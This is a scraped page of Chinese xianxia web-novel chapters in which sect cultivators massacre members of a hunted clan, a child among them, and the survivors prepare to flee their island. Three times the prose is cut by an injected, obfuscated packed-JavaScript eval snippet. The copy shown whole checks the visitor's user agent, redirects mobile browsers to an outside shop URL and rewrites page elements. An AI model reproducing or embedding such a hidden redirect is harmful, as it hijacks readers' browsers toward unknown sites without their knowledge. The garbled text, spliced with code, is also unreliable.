他们哪里是这些受过正统修炼之人的对手,再加上伤势的拖累,他们很快就左支右绌。一道刁钻的剑光掠过,鸣宝父亲的右腿又添了一道深可见骨的伤口,他闷哼一声,单膝跪地,仍然固执的用身体作为盾牌护着女儿和阿卓。 “阿爹!”鸣宝心疼极了,哭喊着想要扑过去,她的爹爹受伤了,在流血......但是阿卓死死抱住了她。 “哈哈,强弩之末!”络腮胡王师弟狂笑不止,随即掐了一个诀,口中念念有词。 一枚炽热的火球呼啸着砸向阿卓后背,阿卓躲避不及,被火球的余波扫中,后背顿时焦黑一片,喷出一口鲜血,手臂一松。 鸣宝摔倒在地,哭得上气不接下气。 “孩子!我的孩子!不要伤害我的孩子......”鸣宝的父亲挣扎着想爬过去。 “机会来了!”瘦高个修士眼中精光一闪,他手下的一道锐利风刃早已蓄势待发,快如闪电,直射鸣宝父亲空门大开的胸膛! “不——!”阿卓大喊,想要扑救已经来不及了。 “噗嗤!”风刃穿透了鸣宝父亲的胸膛,他所有的动作停顿了,眼睛瞪得极大,低头看了看胸口喷涌的鲜血,又艰难地,最后望了一眼不远处吓呆了的鸣宝,嘴唇翕动了一下,似乎想说什么,却最终只是从嘴巴里涌出大股血沫,高大的身躯轰然倒地。 “阿爹!!!”鸣宝凄厉哭喊着爹爹,是呆呆地看着父亲倒下的地方,仿佛整个世界都在眼前崩塌了。 “解决完了老的!”王师弟得意极了,目光随即锁定了孤立无援的鸣宝,“轮到这个小妖孽了!让我们好好看看,这么小的崽子,内丹有没有成形呢?”他手指一弹,一张符箓飘飞而出,在空中无风自燃,化作一条幽蓝色散发着灼热气息的火蛇,嘶嘶作响,噬向了吓傻的鸣宝! “鸣宝!!!”阿卓想要冲过去,却被另外两名修士用剑光逼住,自身难保。 礁石之上。 “不——!!!” 雪闻笙在看到风刃穿透鸣宝父亲胸膛的瞬间,大脑已经一片空白了。那条幽蓝火蛇射向鸣宝时,一股无法遏制的冲动像火山在她体内爆发!她什么也顾不上了,悲愤,恐惧,想要保护那个弱小生命的本能压倒了一切!她猛地挣脱了海岩下意识扶着她的手,就要不顾一切地冲下礁石! “站住!”一声低沉的断喝在她耳边响起。 一只强健有力的手臂死死拦住了她的腰,另一只手迅速捂住了她要脱口而出的尖叫。 是荣御!他站在她身后,将她整个人牢牢制住,按压在冰冷的礁石上。 “放开我!荣御你放开我!那是鸣宝!他们会杀了她的!!”雪闻笙疯狂地挣扎,泪水模糊了视线,嘶吼声带着哭腔和愤怒。 “你冷静点!”荣御的声音压得极低,紧贴着她的耳廓,每一个字都像冰珠砸下,寒冷刺骨,“你看清楚!下面至少有五个凌霄阁内门弟子,为首那个是赵无俊,修为很好!我们这里只有四个人,海岩还旧伤未愈!现在冲下去,除了暴露我们自己,让岛上位置可能彻底泄露,然后像他们一样被屠杀,没有任何意义!” “难道就眼睁睁看着鸣宝死吗?!她还那么小!她叫过我姐姐!”雪闻笙扭过头,赤红的眼睛死死瞪着荣御近在咫尺的脸,试图从他眼中找到一丝松动或同情。 没有。 她只看到一片寒凉,以及他眼底深处那被强行压抑,几乎要绷裂的剧烈情绪波动——他绝非无动于衷! “代价!”荣御紧咬着牙关,脸颊肌肉微微抽动,声音从齿缝中挤出来,“我们现在救不了她!下去,死的就不只是鸣宝和她父亲!还有我们,甚至可能牵连整个岛上的妇孺!包括使长!你忍心看到更多像鸣宝一样的孩子,因为你的一时的冲动而葬身火海吗?!” 他的质问像重锤,狠狠砸在雪闻笙的心上。 她挣扎的力道一滞。 这时,“嗤——!”那条幽蓝色的火蛇,已经命中了鸣宝! 没有像她父亲那样发生小爆炸,那一簇幽火仿佛有生命一般,缠绕上鸣宝小小的身躯,疯狂地往她身体里钻,然后焚烧起来! “啊——!”一声短促,不属于孩童的凄厉惨嚎陡然响起,又戛然而止。 烈焰升腾!带着符法的恶毒力量,几乎在几个呼吸间,就将那个娇小的身影吞没了!皮肉焦糊的可怕气味,混杂着海风的腥咸扩散开来,直冲礁石上众人的鼻腔! 雪闻笙僵住了,她瞪大的眼睛里,倒映着下方那团迅速缩小,焦黑,最终只剩下一小坨难以辨认形状的残骸,那片残骸上最后袅袅升起一缕,带着油脂气息的青烟。 鸣宝彻底消失不见了。 她耳朵里嗡嗡作响,世界失去了声音,只剩下那刺鼻的气味和眼前定格的黑影。 鸣宝父亲倒下的身躯,鸣宝最后的惨叫,那团曾经鲜活,会笑会叫的温暖,全都化为了焦炭...... 悲剧还没完,下方的屠杀仍在继续。 重伤的阿卓在绝望中爆发了,拉响了一枚藏在衣袖里的雷火符,威力有限,但是跟离得最近的一名修士同归于尽还是足够了的。 “轰”一声,爆炸的烟尘散去,剩下的四名修士却毫发无伤,他们抬手轻轻挥了挥衣袖,脸上没有一丝同伴离世的难过反应,开始熟练地打扫战场。 一个修士一脚踢开鸣宝父亲的尸体,用剑尖挑剔地翻找,割开他的丹田部位,取出一枚沾染血迹,黯淡无光的银色珠子,然后随意擦了擦,便收入囊中。他们对阿卓焦黑的尸体也如法炮制。甚至,那个瘦高个的修士,还嫌恶地用剑拨弄了一下鸣宝小小的焦黑残骸,似乎想看看有没有“遗漏”的小内丹。 “呸,小崽子就是没用,什么都没留下,就纯纯是一堆渣滓。”他啐了一口。 “行了,行了,收拾干净,看看他们身上有没有海图或者联络信物什么的。”赵无俊冷静地指挥着,仿佛刚才屠杀的不是几个活生生的“人”,而是几头碍事的小兽。 礁石上,死一般的寂静。 海岩和另一名族人死死咬着牙,拳头攥得咯咯作响,眼睛充血,却同样被荣御用严厉的眼神死死制止,只能将无边的悲愤和杀意死死压在喉咙里。 雪闻笙已经停止了挣扎。 荣御的手臂依然环着她,他感觉到她现在的身体冰冷,僵硬得像一块石头,那细微的,无法控制的剧烈颤抖,透过布料传递过来。她脸上没什么表情,泪水无声地汹涌流淌,大颗大颗冲刷着苍白的脸颊,目光聚焦在下方的惨剧现场,又仿佛穿透了一切,看到了更遥远,更浩瀚的血色。 荣御就算再难过,也无法真正体会到雪闻笙此刻的感受。 一股炽热的洪流,正从她灵魂最深处点燃,从她每一滴奔腾的血液中被引爆! 不是她个人对鸣宝的喜爱与悲伤,而是一种古老,磅礴的集体记忆与情感——是魅族被驱逐的怨恨,被屠戮的悲鸣,是世代累积的血仇,是对眼前这些道貌岸然,视她族类为草芥蝼蚁的“正道”修士的杀意与憎恨! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到最后一点光芒也看不见,压抑在礁石上的死寂才稍稍松动。海岩一拳狠狠砸在旁边的礁石上,石屑纷飞,他虎口崩裂,鲜血直流,却浑然不觉。另一名族人蹲下身,将脸深深埋入掌心,肩膀剧烈耸动。 荣御终于松开了雪闻笙。 她踉跄了一下,几乎站立不稳,却猛地转身,一把抓住了荣御的前襟,手指用力骨节发青,仰起的脸上泪痕狼藉,眼神里燃烧着毁灭的火焰,声音也嘶哑得不成样子: “告诉我......荣御......告诉我!怎么才能变强?强到......再也不用眼睁睁看着......强到可以把他们......全都......”后面的话,被哽咽和恨意堵在喉咙里,无法再发出半个音节,她剧烈起伏的胸膛和眼中滋长的黑暗,已经替她说明了一切。 荣御低头看着她,没有挣脱她的手,也没有立刻回答。 海风吹动他额前的碎发,拂过他冰冷紧绷的脸颊。许久,他才缓缓抬起手,缓慢地覆上了她抓着自己衣襟的手背上。 他的掌心,跟她一样冰凉,却带着磐石般的力量。 他没有给出答案。 因为雪闻笙自己是知道的,那答案,已然在她被鲜血与烈火重新浇筑过的眼眸里,在那沸腾咆哮的血脉深处,昭然若揭。 雪闻笙低下头,看着自己的双手。掌心已经破皮渗血,沾满了石屑和海水的咸涩。 就是这双手,在鸣宝父亲被风刃洞穿时,只能徒劳地收紧,在鸣宝被火蛇吞噬时,只能无力地颤抖,在仇人肆意搜刮,侮辱同族遗骸时,只能僵硬地垂在身侧。 没有想象中血脉贲张的热流,没有像梦中危急关头突然迸发的神秘力量,只有冰冷,僵硬,深入骨髓的无力感。 她第一次,如此清晰残酷地认识到——此刻,在此地,抛开那些模糊的梦境和身世的迷云,她雪闻笙,就只是一个普通人。 一个在力量碾压和赤裸裸的恶意面前,她是个渺小如蝼蚁,无力如浮萍的普通人。 那种在尘寂山噩梦惊醒时偶尔掠过心头的悸动,那种在女使长讲述历史时血脉隐隐的共鸣......在真实的鲜血与死亡面前,全都成了无情的嘲讽!它们没有带来任何实质的帮助,没有赋予她扭转乾坤的力量,它们只是沉默地潜伏着,冷眼旁观着同族的惨死,旁观着她的崩溃与绝望。 “为什么......”她干涩的嘴唇微微翕动,声音低哑得几乎被海浪声淹没,带着灵魂被撕裂的痛楚,“为什么我这么没用......” “如果我够强......”她闭上眼,泪水再次汹涌而出,混合着海风的咸涩,流进嘴角,是苦涩到极致的味道,“如果我能觉醒血脉......哪怕只有一点点力量......鸣宝就不会死......他们就不敢......不敢如此......” 一直以来,她对“力量”的认知,是模糊而功利的。 在尘寂山,她渴望力量,是为了在枯燥的生活中找到一点掌控感,或许潜意识里,也是为了能够稍稍追赶上那个永远沉默强大,让她爱怨交织的背影。力量对她而言,更像是一种“资格”,一种能够立足,能够被看见,能够......匹配明决的筹码。 后来,知晓身世,听闻族殇,她对力量多了一份源自血脉的责任与好奇,但那份渴望,依然带着隔岸观火的疏离,混杂着对未知的忐忑,和对平静生活可能被打破的畏惧。 直到此刻。 直到她亲眼看着同族的鲜血染红礁石,看着幼小的生命在眼前被残忍虐杀,看着施暴者扬长而去,而自己除了心痛如绞,竟什么也做不了。 力量的意义,从未如此赤裸,如此狰狞,如此鲜血淋漓地展现在她面前。 对她,对魅族而言,力量根本不是为了什么风花雪月,不是为了什么个人虚荣,甚至不仅仅是为了自保。 那是生存的保障!在这视他们为异类,为资源,可以随意屠戮掠夺的世界里,没有力量,连哭泣和逃跑的权利都没有,只能成为他人砧板上的鱼肉,炼丹炉里的材料。 那是尊严的底线!那更是复仇的资本! 血债必须血偿!凌霄阁......赵无俊......王师弟......还有那些她尚未知晓的,参与了百年清剿,手上沾满魅族鲜血的宗门与修士!仅仅是“记住他们的脸”远远不够! 滔天的恨意,族人的悲鸣,必须用更炽烈,更彻底的方式还回去!而这一切的前提,是她必须拥有足够强大的力量!强大到足以撕碎他们的道袍,斩断他们的飞剑,将他们施加于魅族身上的痛苦,百倍,千倍地奉还! 这渴望不再是一种模糊的向往或责任,它变成了一种从灵魂最深处,从每一寸被仇恨浸透的血肉中滋生出来的本能!一种不惜一切代价也要攫取,也要掌握的复仇执念! 她缓缓抬起头,望向修士消失的天际,那里只剩下蔚蓝的天空和飘荡的白云,仿佛刚才的惨剧从未发生。 但她的眼神变了。 变强。 不惜一切代价地变强。 为了活下去,为了不再眼睁睁看着,为了有朝一日,能将今日所见的一切苦难与不公,连同那焦黑的残骸与刺鼻的血腥味,一起......彻底清算! 她站在腥咸的海风中,背影单薄,仿佛有什么东西,已经在她体内彻底碎裂,又有什么更坚硬,更黑暗,更炽热的东西,正在破壳而出。 30. 第 30 章 他们回程的小舟还没有靠岸,荣御就传讯回岛了。 当雪闻笙脚步虚浮,被海岩搀扶着踏上熟悉的沙滩时,发觉岛上的气氛与离开前截然不同,往日的闲适感没了。 几名族人过来迎接,看见他们身上沾满了海水,血腥与泪痕,沉默地接过小舟,雪闻笙与他们目光接触时,看见了他们眼中无法掩饰的悲戚——显然,他们整日出海经验丰富,知道此次出海遇到了不详事件。 荣御没有停留,甚至来不及给雪闻笙回去换下狼狈衣衫的时间,沉声道:“此事关系甚大,刻不容缓,随我去见使长大人吧。” “嗯。”雪闻笙点了点头。 荣御在前边带路,脚步迅捷,将所有的情绪都压成了脚下坚实的步伐,雪闻笙一路跟着他,沉默无言。 “思谏阁”内,灯火比平日明亮了许多,女使长没有像往常那样坐在主座上,她拄着拐杖,站在大殿中央,面前是一幅画着海岛及周边海域的地形图。 听到脚步声,她缓缓转过身。 雪闻笙心下一惊,短短半日不见,她似乎苍老了许多,那双总是蕴含着复杂情绪的眼睛,此刻锐利如鹰,直直望向他们两个。 荣御单膝触地,低声快速禀明实情:“使长大人......碎星礁东北三十里,迷音涡流外侧,遭遇凌霄阁巡查修士五人。对方发现并围攻了我族巡查的三人小队,包括......幼童一名。我方三人全部罹难,尸身遭亵渎。我等隐匿在侧,未曾暴露,但对方已明确搜检过遗物,且......”他停顿一瞬,语气更冷了几分,“离开时,为首者言及‘回禀宗门,此番收获尚可’,恐怕已经怀疑附近有我族聚居点,或有后续探查。” 荣御的每一个字都像一计重锤,砸在冰冷的石板上,也砸在雪闻笙的心上。 她站在荣御侧后方,低着头,听着他的话,身体控制不住地微微发抖,仿佛鼻尖又闻到了那股焦臭的气味,眼前又看到了那小小的焦黑。 她不敢看女使长的眼睛,愧疚和无力感几乎将她淹没。 是因为她吗?因为她的出现?还是因为这次出行?虽然荣御说他们没有暴露,但是...... 女使长听完以后,久久没有言语。 殿内只有火把燃烧的噼啪声和海风穿过石缝的呜咽。 良久,她才长长地吐出一口气,仿佛耗尽了所有力气一样,气息苍老又悲凉。 “知道了。” “敲响聚灵钟......三短一长。召集所有长老,及各房主事人。秘密会议,不得惊扰岛上妇孺。” “是。”荣御起身,迅速离去安排。 很快,穿透力极强的钟声鸣响了,“铛......铛......铛......”岛上处处回荡着一阵阵特殊的音节。 这钟声平日里极少响起,因为每一次响起,都意味着有关乎全族存亡的大事发生了。岛上的气氛瞬间变得更加凝重起来,隐约传来关门闭户和压抑的惊呼声。 不多时,约莫二十余人鱼贯进入大殿。 有白发苍苍,气息沉凝的长老,也有正当壮年,面带风霜之色的各房主事。他们望着殿中央的女使长,又望着形容狼狈,脸色惨白的雪闻笙,再结合那特殊的钟声和空气中弥漫的不安,大多已猜到了七八分,个个面色沉郁,心中更多的是深深的忧虑。 大殿石门缓缓合拢,隔绝了外界一切声响。 女使长摆摆手,示意众人围拢到地图前,没有多余的寒暄,直接让荣御将情况再次简明扼要地陈述了一遍。 当他们听到“幼童一名”,“全部罹难”,“尸身遭亵渎”,“凌霄阁怀疑附近有聚居点”时,殿内立刻响起一片愤怒的低吼。 一位身材魁梧,脸上带着一道陈旧疤痕的壮年主事反应最大,他猛地一拳砸在石桌上,眼睛赤红:“又是凌霄阁!这群道貌岸然的畜生!连孩子都不放过!阿卓他们......他们是我看着长大的!还有鸣宝那孩子......”提到孩子,他的声音哽住了,再说不下去。 “现在不是悲痛的时候!”一位须发皆白,手持藤杖的苍老长老厉声道。 他名叫木黎,是族中资历最老的长老之一,声音老迈,却沉静:“当务之急,是应对!我们的位置可能已经暴露,就算没有完全暴露,凌霄阁的弟子既然已经起了疑,以其作风,必定会加大对此片海域的搜查力度!这岛,怕是不能再安然待下去了!” “木黎长老说的是。”另一位面容清癯,眼神锐利的中年女性主事接口。她是负责岛上物资调配和隐匿工作的“隐房”主事,名叫青萝。 “岛上的‘迷踪幻海阵’虽然精妙,但并非无迹可寻。往日无人刻意搜寻尚可,一旦被凌霄阁这样的宗门盯上,派出精通阵法的修士仔细探查,被发现只是时间问题。我们必须立刻加强阵法,与此同时......做好随时撤离的准备。” “撤离?谈何容易!”一位负责族中青壮训练,名叫雷昊的主事眉头紧锁。 “岛上妇孺老弱近百人,能用于长途跋涉,有足够防护的船只只有三艘,且动力核心老旧,最多只能支撑连续飞行三日!茫茫大海,我们能撤到哪里去?大陆沿岸早已是那些宗门的势力范围,海外其他岛屿要么环境恶劣无法生存,要么早被其他势力或凶兽占据,我们还能撤到哪里去!” “难道就坐以待毙吗?”疤痕主事低吼,“加强阵法?阵法再强,能挡得住宗门修士的持续轰击?能挡得住他们呼朋引伴,大军压境?当年“曦光城”的护城大阵比我们这岛上的强何止百倍!不照样......” “雨岩!慎言!”木黎长老喝止了他,他眼中同样是深深的无力与痛楚。曦光城之殇,是每个魅族人心头永不愈合的伤疤。 众人陷入了短暂的沉默,每个人都知道情况的严峻,左也不行,右也不行,怎么都看不到一条清晰可行的生路。 一直沉默聆听的女使长,目光缓缓扫过众人,最后落在了几乎缩在阴影里,努力减少自己存在感的雪闻笙身上。她忽然开口唤道:“墨璃。” 雪闻笙浑身一颤,猛地抬起头,对上女使长的目光。 女使长的目光深沉复杂,却没有她预想中的责怪,或着愤怒。 “孩子,你过来。”女使长招了招手。 雪闻笙指甲掐进掌心,一步一步,像踩在刀尖上,走到地图前。 所有人的目光一下子都落在了她身上,有深究,有悲痛,也有因为她的身份而带来的期盼,畏惧等复杂情绪。 “你抬起头来。”女使长温和道,“告诉我,你在碎星礁,看到了什么?感受到了什么?不必复述经过,我们都已经知道了,只说说你的心。” 雪闻笙嘴唇颤抖,环顾四周一张张或苍老,或坚毅,或悲愤的脸庞。 这些都是她的族人,是血脉相连的同族。 她想起鸣宝甜甜的笑,想起她父亲最后推开孩子的绝望,想起火焰吞噬的瞬间,想起那些修士冰冷贪婪的眼神......无边的痛苦和恨意再次翻涌上来,冲垮了她一直努力维持的镇定。 “我看到了......屠杀。” 她的声音哽咽,“我看到同族的叔叔被剑穿胸,看到鸣宝......被火烧死......我看到他们连......连孩子的尸体都不放过......我听到他们说‘妖孽’,‘内丹’,‘材料’......” 泪水汹涌而出,她几乎泣不成声,“我恨!我恨自己什么都做不了!我恨他们凭什么......凭什么这样对我们!我们做错了什么?我们只是想活着啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“雨岩,雷昊,整合所有能战斗的青壮族人,将他们重新编组,加强岛周边及空域的警戒巡逻,三班轮换,不得有丝毫懈怠!同时,检查所有的船只,以及备用逃生工具,进行紧急维护!” “是!”被点到名字的人肃然应声。 “至于撤离的方向嘛......”女使长的手指在地图上缓缓移动,最终停在了一片标记着混乱漩涡和风暴符号的遥远海域,“风暴角以西,越过永夜漩涡带,传说那片海域岛屿星罗棋布,环境极端,灵气紊乱,极难探查......或许,我们暂时到那里避难修养,还有一线生机。” “风暴角?永夜漩涡?”木黎长老听了立刻倒吸一口凉气,“那样的地方哪能住人啊,自古以来就是海葬场!船只根本不可能穿过那片紊乱的灵磁风暴和巨型漩涡!” “留在这里,是等死。穿过那里,是九死一生。”女使长的目光如铁,“但我们没得选。准备特制的抗灵磁护符,挑选最有经验的导航者,研究所有关于那片海域的残缺记载......这是我们现在唯一的,也是最后的机会了。” 她顿了顿,目光再次扫过众人,尤其是那些面露惧色和绝望的人:“记住,我们不是去送死,是去为我们的族人搏一条生路!为了族里的孩子们能活下去,为了我族的血脉不至于断绝在此地!收起你们的眼泪和恐惧,把力气用在刀刃上!散会,立刻行动吧!” 没有欢呼,没有鼓劲,沉重如山的使命感压在每个人的肩头。 众人默默行礼,快速有序地退出了大殿,各自奔赴自己的岗位。 压抑,但高效。悲痛,但坚韧。这就是魅族,在绝境中挣扎求存了百年的族群。 如今,殿内只剩下女使长,荣御和雪闻笙。 雪闻笙依旧站在原地,脸上泪水未干。 女使长走到她面前,看着她,低声道:“孩子,你都看到了。我们没有一个人责怪你。因为这就是我们的命运,也是你从出生的那一刻起,就背负着的血色宿命。你的到来,或许是一个变数,但灾难的根源,早已深种。”她拍了拍雪闻笙的肩膀,“回去休息吧,换身干净舒适的衣服,好好睡一觉。接下来的日子,恐怕就很少有安稳觉可睡了。” 雪闻笙张了张嘴,想把那些准备好的心里话大声说出来,却发现喉咙堵得厉害,最终只是用力点了点头,深深地看了婆婆和荣御一眼,转身慢慢走出了大殿。 31. 第 31 章 雪闻笙回到自己的那间住所,觉得房间闷热,又沉重。 她坐不住,站不安,胸口仿佛堵着一团烧红的烙铁,她再也无法忍受这独处的煎熬,猛地拉开木门,一步跨入了昏黄的暮色中。 夕阳正缓缓沉入海平面,与海水相接处,化为一抹浓得化不开的血红,这血色天光笼罩下的岛屿,与她记忆里初来时那个笼罩在朦胧雾气中、带着神秘与疏离感的地方,已经是两个世界了。 曾经鲜活的记忆涌上她心头。 她记得,往日这个时候,正是岛屿最富生机的时刻。家家户户的石砌烟囱里会冒出袅袅青烟,带着烤鱼或粟米粥的朴素香气。 海滩上必定有光着脚丫的孩童嬉笑追逐,争抢着被潮水推上岸的奇异贝壳或透明水母,他们的笑声清脆得像海浪敲打鹅卵石。礁石旁总有三五老者,披着旧蓑衣,守着简陋的鱼竿,一边等待海鱼咬钩,一边跟同伴谈论着天气,潮汐,或者是已经模糊的家族传说。 女人们在屋前平坦的空地上,或坐或站,手脚利落地晾晒着成串的鱼干,海带,修补着破了洞的渔网,闲话家常里偶尔发出爽朗的笑声。空气中满是海货的咸腥味,晒干草药的清苦,还有那隐约可闻的,属于“家”的琐碎喧嚷......这些都是生活的声音,是安宁的痕迹。 但现在,这一切都消失了。 为了不惹人注目,她眼前没有炊烟,没有灯火,没有人语,甚至连狗吠鸡鸣都听不到。 只有海风,比往日吹得更尖利了,呼啸着刮过一排排高矮不一的屋顶,钻进狭窄的巷道,发出呜呜的悲鸣,像无数冤魂在哭泣。原本屋前晾晒的一切——那些五彩的衣物,银亮的小鱼干,成捆的草药——全都消失得无影无踪,只留下空荡荡的绳索和木架在风中摇晃,仿佛这里的人们从来没有真正生活过,只是随时准备撤离的幽灵。 寂静比任何喧嚣都更让人不安。 雪闻笙沿着熟悉的小径慢慢走着,心脏在胸腔里沉重地跳动。 刚转过一个屋角,她险些与两个急匆匆的身影撞上。 那是两位年轻的母亲,雪闻笙记得她们,一个叫阿芸,一个叫月娘,前几日还在海边洗衣时友善地朝她微笑过。此刻,她们满脸仓皇。 阿芸用一条厚实的毯子将自己三四岁的儿子从头到脚裹得严严实实,只露出一撮汗湿的头发,孩子似乎睡着了,也可能是被母亲叮嘱不许出声。月娘背着一个更小的婴儿,手里还紧紧拽着一个约莫五六岁,眼睛睁得大大,满是恐惧的小女孩。 “阿芸姐,月娘姐......”雪闻笙下意识地低声唤道。 两人像受惊的兔子一样猛地一颤,看清是她,才稍稍松了口气,连忙行了一个礼,但目光仍迅速扫视了一下四周。 阿芸将怀里的孩子搂得更紧,声音压得极低:“玄女......你,你怎么出来了?快回房间去吧,外头......不太安全。” “我......我睡不着。”雪闻笙看着她们惊恐未定的样子,心里一酸,“孩子们......都还好吗?” 月娘苦笑着摇了摇头,将小女孩往身后藏了藏,那小女孩却探出头,怯生生地看着雪闻笙,小声问:“娘亲,我们为什么要躲在家里?天黑了吗?我想去找小彩铃姐姐玩……” “嘘!小石头乖,别出声!”月娘慌忙捂住女儿的嘴,眼圈瞬间红了,她看向雪闻笙,哽咽道,“孩子快吓坏了......从听到钟声起就一直在哭,问为什么不能出去玩,问爹爹什么时候回来......我,我都不知道该怎么跟她说......” 她擦了擦眼角,强自镇定,“不说了,我们收拾一下,等会得赶紧去青萝主事那里领分配的抗晕船药草,听说可能要坐很久的船,孩子哪受的了颠簸......”她话没说完,便拉着女儿,对阿芸使了个眼色,两人不再多言,匆匆从雪闻笙身边掠过,迅速闪进前方一条更暗的巷子,随即传来轻微的关门和落锁声。 雪闻笙站在原地,望着空荡荡的巷口,耳边似乎还回响着那小女孩天真又恐惧的疑问。 她继续往前走,不知不觉来到了岛屿西侧,一个平时用来堆放渔具和修补小艇的小小天然湾口,这里地势偏僻,有礁石遮蔽,很少有人会来。 此刻,雪闻笙却看见了几个人影在晃动。 走近了些,看清是几个半大的英俊美少年,最大的不过十五六岁,最小的可能才十一二岁,脸上还带着未脱的稚气。他们正听从一位族中长辈的指挥,沉默地将一些沉重的木箱,用油布捆扎得严严实实的包裹,从岸上搬到几艘比平日捕鱼艇稍大,但看起来也绝不适合远航的小艇上。 那些箱子和包裹显然不轻,美少年们咬着牙,脸颊憋得通红,额头上渗出汗水,在暮色中闪着微光。 东西真的太重了,他们的动作显得有些笨拙,不时需要互相搭把手才能完成动作,或着听从那位神色冷峻的中年大叔低声指点:“慢点,轻放!手臂那里要卡住!使点劲,对......对,那边用绳子先固定好,打死结!” 整个过程没有抱怨,没有交谈。 粗重的喘息和物品碰撞的闷响一声又一声。 雪闻笙认出了其中一个格外瘦削,格外卖力的少年,名叫海星,前几天还兴奋地跟她说起想跟父亲学更高明的驾船技巧,去更远的海域探索。 此刻,海星紧抿着薄唇,眼神里没有了对远海的憧憬,满脸都是一种超越年龄的沉重与麻木,那么专注,好像他搬运的不是物资,而是全族人生存的希望,稍有不慎就会粉碎。 中年大叔察觉到了雪闻笙的靠近,锐利的目光扫过来,见是她,冷峻的神色才稍缓,压低声音道:“玄女,这里杂乱,莫要靠近,当心磕着碰着。”他瞥了一眼忙碌的少年们,声音更沉了,“个个都是好孩子,好苗子......本该是读书练功,调皮捣蛋的年纪。”这话里透着无尽的心酸。 海星听到声音,抬头看了雪闻笙一眼,嘴唇动了动,似乎想挤出一个笑容,却最终只是扯了扯嘴角,便又低下头,更加用力地扛起一个箱子。另一个稍小些的少年,实在因为太累,脚下一滑,肩上的包裹差点掉下来,旁边的伙伴赶紧扶住。 中年大叔立刻上前,低声严厉告诫他们:“集中精神!现在不是分心的时候!想想你们的阿爹阿娘,想想弟弟妹妹们!这些东西,以后就是他们在船上活命的依仗!” 美少年们身体一震,眼神更加坚毅,默默加快了动作。 雪闻笙喉咙发紧,一句话也说不出来,她默默退开,不忍心再看。这些少年的肩膀还很稚嫩,却已经不得不扛起了逃亡的重担。 她心事重重继续走,视线被眼泪模糊成一片,早就辨别不出方向了。 不知不觉,来到了岛屿边缘一处背风的屋后,这里堆着一些废弃的渔网和破碎的瓦罐。 她看到一个微微佝偻的背影,直觉有些熟悉。她仔细想了想,是了,是那位曾在她初来岛上,水土不服时,默默在她门口放了一篮清甜野果的温和大叔,他善种各种花草果树,大家都叫他“百果阿叔”。 百果阿叔没有发现她。 他正蹲在地上,面前有一个刚挖好不久的土坑,不深不浅的。他手里拿着一把小铲子,动作缓慢又轻柔,不知道在做什么。 雪闻笙好奇,看见他面前放着几样东西,一个手工粗糙,打磨光滑的木雕小马,可能是给孩子玩的。一把断了齿,被擦拭得很干净的木梳,还有几块形状奇特,看不出用途的彩色石头,一卷边缘磨损的皮质小卷,用褪色的红丝带系着。 百果阿叔拿起那只木雕小马,放在掌心看了又看,用拇指反复摩挲着马背,眼中满是不舍与哀伤。他低声言语,不知道跟谁在说话,声音沙哑得也几乎听不清:“......爷爷的手艺......传给阿卓......阿卓又给了鸣宝......鸣宝最喜欢了,总说它是能飞的天马,骑着它能飞出小岛......”他的肩膀微微耸动着,深吸一口气,仿佛下定了极大的决心,小心翼翼地将木雕小马放入土坑中。 然后拿起那把木梳子,“这是你阿娘留下的......用了半辈子了......”接着是那些彩色的石头,“从老家带出来的,别的地方没有......这么多年过去了,就剩这么几块了......” 每放进去一样,他都停顿片刻,忍不住看了又看,摸了又摸,像在进行一场无声的死亡告别。 最后,他拿起那个皮质小卷,解开丝带,轻轻展开一角。 借着最后的天光,雪闻笙看到那似乎是一幅简陋的地图,上面用炭笔画着歪扭的线条和符号,还有一些模糊的字迹。百果阿叔的手指抚过那些痕迹,喃喃道:“老族长画的......曦光城......回家的路......可惜,回不去了......带不走啦,也不能留给那些畜生糟蹋了... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892664|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...” 百果阿叔的声音满是苍凉,决绝。 他仔细地将皮卷重新卷好,系上丝带,像放下千钧重担一样,无比郑重地将它与其他物品一起放入坑中。 然后,他站起身拍拍尘埃,开始一铲一铲地覆土,动作很轻,很慢,怕惊扰了坑中安睡的过往与记忆。 泥土渐渐掩盖了那些承载着个人与家族记忆的物件,也仿佛掩埋了一段再也回不去的时光,一种被迫割舍,与故土和传承最后的联系。 夕阳的最后一丝余晖彻底消失在海平面下,黑暗迅速弥漫开来。 百果阿叔填平了土坑,又仔细地用脚踩实,从旁边拢了些枯叶碎石撒在上面,尽力让它看起来与周围无异。做完这一切,他拄着铲子,佝偻着背,静静地站在那片新土前,一动不动,像一尊凝固的悲伤雕塑。 海风吹动他花白的头发和单薄的衣衫,那背影里透出的,是一种深入骨髓的无奈、不舍,还有......为了生存而不得不进行的最痛苦的割舍。 雪闻笙站在不远处的阴影里,早已经泪流满面。 原来......他是鸣宝一家仅剩的一个亲人。 她没有上前打扰百果阿叔,死死咬住自己的拳头,忍住悲伤,不让呜咽声溢出喉咙。 族人们的仓皇,少年们沉默的负重,百果阿叔无声的埋葬......她看见的这一幕幕,像一把把刀子凌迟着她的心。她知道,在自己看不见的角落里,还有更多悲凉的故事发生。 她问自己,为什么? 他们一族数百年来要承受这样的恐惧,离别,乃至对自身记忆与痕迹都要亲手掩埋? 这血色的黄昏,这死寂的岛屿,这无声流淌的悲歌,比所有激烈的战斗屠杀场面都更深刻地触动了雪闻笙的灵魂。那团堵在胸口的火焰,在绝望中,燃烧得更炽烈,纯粹,它们都指向一个唯一的目标。 她最后望了一眼百果阿叔伫立的背影,又看了看那片寻常,埋葬了一个老人半生念想的新土,然后毅然转身,没入了越来越浓的黑暗之中。 她走过平日族人聚集议事的小广场,那里空空荡荡,中央那堆用来召开篝火晚会的石圈,无声无息地沉寂着,旁边散落着几个来不及收走的各种奇巧小玩具,曾经是孩子们爱不释手玩过的...... 